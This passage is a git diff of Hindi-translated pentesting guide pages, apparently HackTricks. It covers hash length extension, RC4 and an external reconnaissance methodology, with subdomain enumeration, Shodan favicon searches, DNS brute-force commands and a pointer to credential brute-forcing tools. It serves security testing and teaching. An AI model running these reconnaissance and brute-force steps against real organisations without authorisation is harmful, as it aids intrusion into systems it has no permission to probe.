आवश्यकता होती है +- पैडिंग गुप्त+डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता है -तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़े गए डेटा** के लिए एक मान्य **हस्ताक्षर** **जनरेट** करना संभव है। +तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़े गए डेटा** के लिए एक वैध **हस्ताक्षर** **जनरेट** करना संभव है। ## कैसे? -बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक का हैश** बनाकर हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसका हैश बनाते हैं**। +बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक का हैशिंग** करके हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसका हैश करते हैं**। -फिर, कल्पना करें कि गुप्त "secret" है और डेटा "data" है, "secretdata" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\ -यदि एक हमलावर "append" स्ट्रिंग को जोड़ना चाहता है, तो वह कर सकता है: +फिर, कल्पना कीजिए कि गुप्त "secret" है और डेटा "data" है, "secretdata" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\ +यदि एक हमलावर स्ट्रिंग "append" को जोड़ना चाहता है, तो वह कर सकता है: -- 64 "A"s का MD5 जनरेट करें +- 64 "A"s का MD5 उत्पन्न करें - पहले से प्रारंभ किए गए हैश की स्थिति को 6036708eba0d11f6ef52ad44e8b74d5b में बदलें -- "append" स्ट्रिंग को जोड़ें -- हैश को समाप्त करें और परिणामी हैश "secret" + "data" + "padding" + "append" के लिए एक **मान्य** होगा +- स्ट्रिंग "append" जोड़ें +- हैश को समाप्त करें और परिणामी हैश "secret" + "data" + "padding" + "append" के लिए एक **वैध** होगा ## **उपकरण** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ## संदर्भ -आप इस हमले को अच्छी तरह से समझा हुआ [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) पर पा सकते हैं +आप इस हमले को अच्छी तरह से समझा सकते हैं [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index d48deb94b..0d36d9eb8 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -4,8 +4,12 @@ यदि आप एक ज्ञात plaintext को एन्क्रिप्ट कर सकते हैं, तो आप पासवर्ड भी निकाल सकते हैं। अधिक संदर्भ HTB Kryptos मशीन में मिल सकते हैं: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index d4138768e..73e3b2714 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Assets discoveries > तो आपको कहा गया था कि किसी कंपनी से संबंधित सब कुछ दायरे के भीतर है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है। @@ -20,14 +19,14 @@ एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोज** करना, और "**अधिग्रहण**" पर **क्लिक** करना। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\ दूसरा विकल्प है मुख्य कंपनी के **विकिपीडिया** पृष्ठ पर जाना और **अधिग्रहण** के लिए खोज करना। -> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलिए उनके संपत्तियों को खोजने का तरीका समझते हैं। +> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलो उनके संपत्तियों को खोजने का तरीका पता करते हैं। ### **ASNs** एक स्वायत्त प्रणाली संख्या (**ASN**) एक **विशिष्ट संख्या** है जो **इंटरनेट असाइन नंबर प्राधिकरण (IANA)** द्वारा एक **स्वायत्त प्रणाली** (AS) को असाइन की जाती है।\ एक **AS** में **IP पते** के **ब्लॉक** होते हैं जिनकी बाहरी नेटवर्क तक पहुँचने के लिए स्पष्ट रूप से परिभाषित नीति होती है और इसे एक ही संगठन द्वारा प्रशासित किया जाता है लेकिन यह कई ऑपरेटरों से मिलकर बन सकता है। -यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट्स** के खिलाफ एक **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\ +यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ एक **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\ आप कंपनी के **नाम**, **IP** या **डोमेन** द्वारा [**https://bgp.he.net/**](https://bgp.he.net)** पर **खोज** कर सकते हैं।\ **कंपनी के क्षेत्र के आधार पर ये लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तरी अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। वैसे, शायद सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में पहले से ही दिखाई देती है। ```bash @@ -58,14 +57,14 @@ bbot -t tesla.com -f subdomain-enum ### **कमजोरियों की तलाश** इस बिंदु पर हम **स्कोप के अंदर सभी संपत्तियों** को जानते हैं, इसलिए यदि आपको अनुमति है तो आप सभी होस्ट पर कुछ **कमजोरी स्कैनर** (Nessus, OpenVAS) लॉन्च कर सकते हैं।\ -इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **लॉन्च कर सकते हैं** या **खुले पोर्ट खोजने के लिए** shodan **जैसी सेवाओं का उपयोग कर सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का परीक्षण करना है।**\ -**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को** ब्रूटफोर्स **करने की कोशिश कर सकते हैं।** +इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **लॉन्च कर सकते हैं** या **खुले पोर्ट खोजने के लिए** shodan **जैसी सेवाओं का उपयोग कर सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको** इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का परीक्षण करना है।\ +**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को ब्रूटफोर्स करने की कोशिश कर सकते हैं। ## डोमेन > हम स्कोप के अंदर सभी कंपनियों और उनकी संपत्तियों को जानते हैं, अब स्कोप के अंदर डोमेन खोजने का समय है। -_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी पा सकते हैं और उस जानकारी को कम नहीं आंकना चाहिए।_ +_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी पा सकते हैं और उस जानकारी को कम करके नहीं आंका जाना चाहिए।_ सबसे पहले, आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की तलाश करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए _tesla.com_ होगा। @@ -78,12 +77,12 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` -इसका काम करने के लिए, व्यवस्थापक को मैन्युअल रूप से PTR सक्षम करना होगा।\ +इसके काम करने के लिए, व्यवस्थापक को मैन्युअल रूप से PTR सक्षम करना होगा।\ आप इस जानकारी के लिए एक ऑनलाइन टूल भी उपयोग कर सकते हैं: [http://ptrarchive.com/](http://ptrarchive.com) ### **Reverse Whois (loop)** -एक **whois** में आप बहुत सारी दिलचस्प **जानकारी** जैसे **संस्थान का नाम**, **पता**, **ईमेल**, फोन नंबर आदि पा सकते हैं... लेकिन जो और भी दिलचस्प है वह यह है कि आप **कंपनी से संबंधित अधिक संपत्तियाँ** पा सकते हैं यदि आप **इनमें से किसी भी क्षेत्र द्वारा रिवर्स Whois लुकअप करते हैं** (उदाहरण के लिए अन्य Whois रजिस्ट्रियों जहां वही ईमेल दिखाई देता है)।\ +एक **whois** के अंदर आप बहुत सारी दिलचस्प **जानकारी** जैसे **संस्थान का नाम**, **पता**, **ईमेल**, फोन नंबर आदि पा सकते हैं... लेकिन जो और भी दिलचस्प है वह यह है कि आप **कंपनी से संबंधित अधिक संपत्तियाँ** पा सकते हैं यदि आप **इनमें से किसी भी क्षेत्र द्वारा रिवर्स Whois लुकअप करते हैं** (उदाहरण के लिए अन्य Whois रजिस्ट्रियों जहां वही ईमेल दिखाई देता है)।\ आप ऑनलाइन टूल का उपयोग कर सकते हैं जैसे: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **मुफ्त** @@ -94,14 +93,14 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns - [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - मुफ्त नहीं (केवल **100 मुफ्त** खोजें) - [https://www.domainiq.com/](https://www.domainiq.com) - मुफ्त नहीं -आप इस कार्य को [**DomLink** ](https://github.com/vysecurity/DomLink) का उपयोग करके स्वचालित कर सकते हैं (एक whoxy API कुंजी की आवश्यकता होती है)।\ +आप इस कार्य को [**DomLink** ](https://github.com/vysecurity/DomLink)(एक whoxy API कुंजी की आवश्यकता) का उपयोग करके स्वचालित कर सकते हैं।\ आप [amass](https://github.com/OWASP/Amass) के साथ कुछ स्वचालित रिवर्स Whois खोज भी कर सकते हैं: `amass intel -d tesla.com -whois` **ध्यान दें कि आप इस तकनीक का उपयोग हर बार एक नया डोमेन खोजने पर अधिक डोमेन नाम खोजने के लिए कर सकते हैं।** ### **Trackers** -यदि आप 2 विभिन्न पृष्ठों में **एक ही ट्रैकर का एक ही ID** पाते हैं, तो आप मान सकते हैं कि **दोनों पृष्ठ** **एक ही टीम द्वारा प्रबंधित** हैं।\ +यदि आप 2 अलग-अलग पृष्ठों में **एक ही ट्रैकर का एक ही ID** पाते हैं, तो आप मान सकते हैं कि **दोनों पृष्ठ** **एक ही टीम द्वारा प्रबंधित** हैं।\ उदाहरण के लिए, यदि आप कई पृष्ठों पर वही **Google Analytics ID** या वही **Adsense ID** देखते हैं। कुछ पृष्ठ और उपकरण हैं जो आपको इन ट्रैकर्स और अधिक द्वारा खोजने की अनुमति देते हैं: @@ -119,11 +118,11 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` -![favihash - समान favicon आइकन हैश वाले डोमेन खोजें](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) +![favihash - समान favicon आइकन हैश के साथ डोमेन खोजें](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -सरल शब्दों में, favihash हमें उन डोमेनों को खोजने की अनुमति देगा जिनका हमारे लक्ष्य के समान favicon आइकन हैश है। +सरल शब्दों में, favihash हमें उन डोमेन को खोजने की अनुमति देगा जिनका हमारे लक्ष्य के समान favicon आइकन हैश है। -इसके अलावा, आप favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं जैसा कि [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाया गया है। इसका मतलब है कि यदि आप जानते हैं कि **एक कमजोर वेब तकनीक के favicon का हैश** क्या है, तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को **खोज सकते हैं**: +इसके अलावा, आप favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं जैसा कि [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाया गया है। इसका मतलब है कि यदि आप जानते हैं कि **एक कमजोर वेब तकनीक के favicon का हैश** क्या है, तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को खोज सकते हैं: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -151,18 +150,18 @@ return fhash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -सर्वर पर सभी डोमेन प्रमाणपत्रों को नवीनीकरण करने के लिए। इसका मतलब है कि भले ही इसके लिए उपयोग किया जाने वाला CA वैधता समय में उत्पन्न होने का समय सेट न करे, यह संभव है कि **प्रमाणपत्र पारदर्शिता लॉग में उसी कंपनी के संबंधित डोमेन खोजें**।\ +सर्वर पर सभी डोमेन प्रमाणपत्रों को नवीनीकरण करने के लिए। इसका मतलब है कि भले ही इसके लिए उपयोग किया जाने वाला CA वैधता समय में उत्पन्न होने का समय सेट न करे, यह संभव है कि **प्रमाणपत्र पारदर्शिता लॉग में उसी कंपनी के संबंधित डोमेन को खोजा जा सके**।\ इस [**लेख को अधिक जानकारी के लिए देखें**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)। ### मेल DMARC जानकारी -आप [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) जैसी वेबसाइट या [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) जैसे टूल का उपयोग करके **डोमेन और उपडोमेन जो समान DMARC जानकारी साझा करते हैं** खोज सकते हैं। +आप [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) जैसे वेब या [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) जैसे टूल का उपयोग करके **डोमेन और उपडोमेन जो समान DMARC जानकारी साझा करते हैं** खोज सकते हैं। ### **पैसिव टेकओवर** स्पष्ट रूप से यह सामान्य है कि लोग उपडोमेन को क्लाउड प्रदाताओं के IPs को असाइन करते हैं और किसी बिंदु पर **उस IP पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाना भूल जाते हैं**। इसलिए, बस **क्लाउड में एक VM उत्पन्न करना** (जैसे Digital Ocean) आप वास्तव में **कुछ उपडोमेन(s) पर कब्जा कर रहे होंगे**। -[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक स्टोर को समझाती है और एक स्क्रिप्ट का प्रस्ताव करती है जो **DigitalOcean में एक VM उत्पन्न करती है**, **नए मशीन का** **IPv4** **प्राप्त करती है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करती है जो इसे इंगित करते हैं। +[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक कहानी बताती है और एक स्क्रिप्ट का प्रस्ताव करती है जो **DigitalOcean में एक VM उत्पन्न करती है**, **नए मशीन का** **IPv4** **प्राप्त करती है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करती है जो इसे इंगित करते हैं। ### **अन्य तरीके** @@ -170,29 +169,29 @@ return fhash **Shodan** -जैसा कि आप पहले से ही जानते हैं कि IP स्पेस का स्वामित्व करने वाले संगठन का नाम। आप उस डेटा को शोडन में खोज सकते हैं: `org:"Tesla, Inc."` TLS प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट की जांच करें। +जैसा कि आप पहले से ही IP स्पेस के मालिक संगठन का नाम जानते हैं। आप उस डेटा को शोडन में खोज सकते हैं: `org:"Tesla, Inc."` TLS प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट की जांच करें। आप मुख्य वेब पृष्ठ का **TLS प्रमाणपत्र** एक्सेस कर सकते हैं, **संगठन का नाम** प्राप्त कर सकते हैं और फिर उस नाम को **shodan** द्वारा ज्ञात सभी वेब पृष्ठों के **TLS प्रमाणपत्रों** के अंदर खोज सकते हैं जिसमें फ़िल्टर है: `ssl:"Tesla Motors"` या [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) जैसे टूल का उपयोग करें। **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) एक टूल है जो **मुख्य डोमेन से संबंधित डोमेन** और उनके **उपडोमेन** की खोज करता है, काफी अद्भुत। +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) एक टूल है जो **मुख्य डोमेन से संबंधित डोमेन** और उनके **उपडोमेन** की खोज करता है, काफी अद्भुत। ### **कमजोरियों की खोज** कुछ [डोमेन टेकओवर](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) के लिए जांचें। शायद कोई कंपनी **किसी डोमेन का उपयोग कर रही है** लेकिन उन्होंने **स्वामित्व खो दिया है**। बस इसे रजिस्टर करें (यदि यह सस्ता है) और कंपनी को सूचित करें। -यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से नहीं है**, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में कुछ तरकीबें "हमले" करने के लिए** खोज सकते हैं।\ +यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से अलग है**, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में "हमला" करने के लिए कुछ तरकीबें** खोज सकते हैं।\ &#xNAN;_Note कि कभी-कभी डोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ ## उपडोमेन -> हम सभी कंपनियों को दायरे में जानते हैं, प्रत्येक कंपनी की सभी संपत्तियों और कंपनियों से संबंधित सभी डोमेन को जानते हैं। +> हम सभी कंपनियों को जानते हैं जो दायरे में हैं, प्रत्येक कंपनी की सभी संपत्तियाँ और कंपनियों से संबंधित सभी डोमेन। यह समय है कि प्रत्येक पाए गए डोमेन के सभी संभावित उपडोमेन खोजें। > [!TIP] -> ध्यान दें कि कुछ उपकरण और तकनीकें जो डोमेन खोजने के लिए हैं, उपडोमेन खोजने में भी मदद कर सकती हैं। +> ध्यान दें कि कुछ उपकरण और तकनीकें जो डोमेन खोजने के लिए उपयोग की जाती हैं, उपडोमेन खोजने में भी मदद कर सकती हैं। ### **DNS** @@ -251,9 +250,9 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -अन्य **दिलचस्प उपकरण/APIs** हैं जो सीधे उपडोमेन खोजने में विशेषज्ञ नहीं होने के बावजूद उपडोमेन खोजने में उपयोगी हो सकते हैं, जैसे: +कुछ **अन्य दिलचस्प उपकरण/एपीआई** जो सीधे उपडोमेन खोजने में विशेषज्ञ नहीं हैं, फिर भी उपडोमेन खोजने के लिए उपयोगी हो सकते हैं, जैसे: -- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io) का उपयोग करके उपडोमेन प्राप्त करता है +- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** उपडोमेन प्राप्त करने के लिए एपीआई [https://sonar.omnisint.io](https://sonar.omnisint.io) का उपयोग करता है ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use @@ -288,7 +287,7 @@ crt tesla.com # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): वे वेब को स्क्रैप करते हैं, JS फ़ाइलों की तलाश करते हैं और वहां से उपडोमेन निकालते हैं। +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **और** [**subscraper**](https://github.com/Cillian-Collins/subscraper): वे वेब को स्क्रैप करते हैं, JS फ़ाइलों की तलाश करते हैं और वहां से उपडोमेन निकालते हैं। ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -316,9 +315,9 @@ python3 DomainTrail.py -d example.com - [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और IP इतिहास के लिए एक मुफ्त API है - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में प्रदान करता है**। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या यहां तक कि इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में प्रदान करता है**। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या यहां तक कि इस प्रोजेक्ट द्वारा उपयोग किए गए स्कोप को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -आप यहां इन उपकरणों की **तुलना** पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +आप इन उपकरणों की **तुलना** यहां पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) ### **DNS ब्रूट फोर्स** @@ -332,7 +331,7 @@ python3 DomainTrail.py -d example.com - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -और अच्छे DNS रिसोल्वर्स के IPs भी। विश्वसनीय DNS रिसोल्वर्स की एक सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +और अच्छे DNS रिसोल्वर्स के IP भी। विश्वसनीय DNS रिसोल्वर्स की एक सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) DNS ब्रूट-फोर्स के लिए सबसे अनुशंसित उपकरण हैं: @@ -376,12 +375,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - [**altdns**](https://github.com/infosec-au/altdns): उपडोमेन संयोजनों को उत्पन्न करने के अलावा, यह उन्हें हल करने की भी कोशिश कर सकता है (लेकिन पहले टिप्पणी किए गए उपकरणों का उपयोग करना बेहतर है)। -- आप [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) altdns संयोजन **शब्दसूची** प्राप्त कर सकते हैं। +- आप altdns संयोजन **शब्दसूची** [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं। ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - [**dmut**](https://github.com/bp0lr/dmut): उपडोमेन के संयोजन, उत्परिवर्तन और परिवर्तन करने के लिए एक और उपकरण। यह उपकरण परिणाम को ब्रूट फोर्स करेगा (यह dns वाइल्ड कार्ड का समर्थन नहीं करता)। -- आप dmut संयोजन शब्द सूची [**यहाँ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) प्राप्त कर सकते हैं। +- आप [**यहां**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) dmut संयोजन शब्द सूची प्राप्त कर सकते हैं। ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt @@ -396,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक सबडोमेन ब्रूट-फोर्स फज़्ज़र है जो एक अत्यंत सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिदम के साथ जुड़ा हुआ है। यह एक प्रदान किए गए इनपुट डेटा सेट का उपयोग करता है, जैसे कि एक अनुकूलित शब्द सूची या ऐतिहासिक DNS/TLS रिकॉर्ड, ताकि अधिक संबंधित डोमेन नामों को सटीक रूप से संश्लेषित किया जा सके और DNS स्कैन के दौरान एकत्रित जानकारी के आधार पर उन्हें और भी आगे बढ़ाया जा सके। +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक उपडोमेन ब्रूट-फोर्स फज़्ज़र है जो एक अत्यंत सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिदम के साथ जुड़ा हुआ है। यह एक प्रदान किए गए इनपुट डेटा सेट का उपयोग करता है, जैसे कि एक अनुकूलित शब्द सूची या ऐतिहासिक DNS/TLS रिकॉर्ड, ताकि अधिक संबंधित डोमेन नामों को सटीक रूप से संश्लेषित किया जा सके और DNS स्कैन के दौरान एकत्रित जानकारी के आधार पर उन्हें और भी आगे बढ़ाया जा सके। ``` echo www | subzuf facebook.com ``` @@ -404,13 +403,17 @@ echo www | subzuf facebook.com चेक करें इस ब्लॉग पोस्ट को जो मैंने लिखा है कि कैसे **सबडोमेन खोज को स्वचालित करें** एक डोमेन से **Trickest कार्यप्रवाह** का उपयोग करके ताकि मुझे अपने कंप्यूटर में कई टूल मैन्युअल रूप से लॉन्च करने की आवश्यकता न हो: -{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-discovery-using-workflow/ +{{#endref}} -{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ +{{#endref}} ### **VHosts / वर्चुअल होस्ट** -यदि आपने एक IP पता पाया है जिसमें **एक या कई वेब पृष्ठ** सबडोमेन से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेन खोजने** की कोशिश कर सकते हैं **OSINT 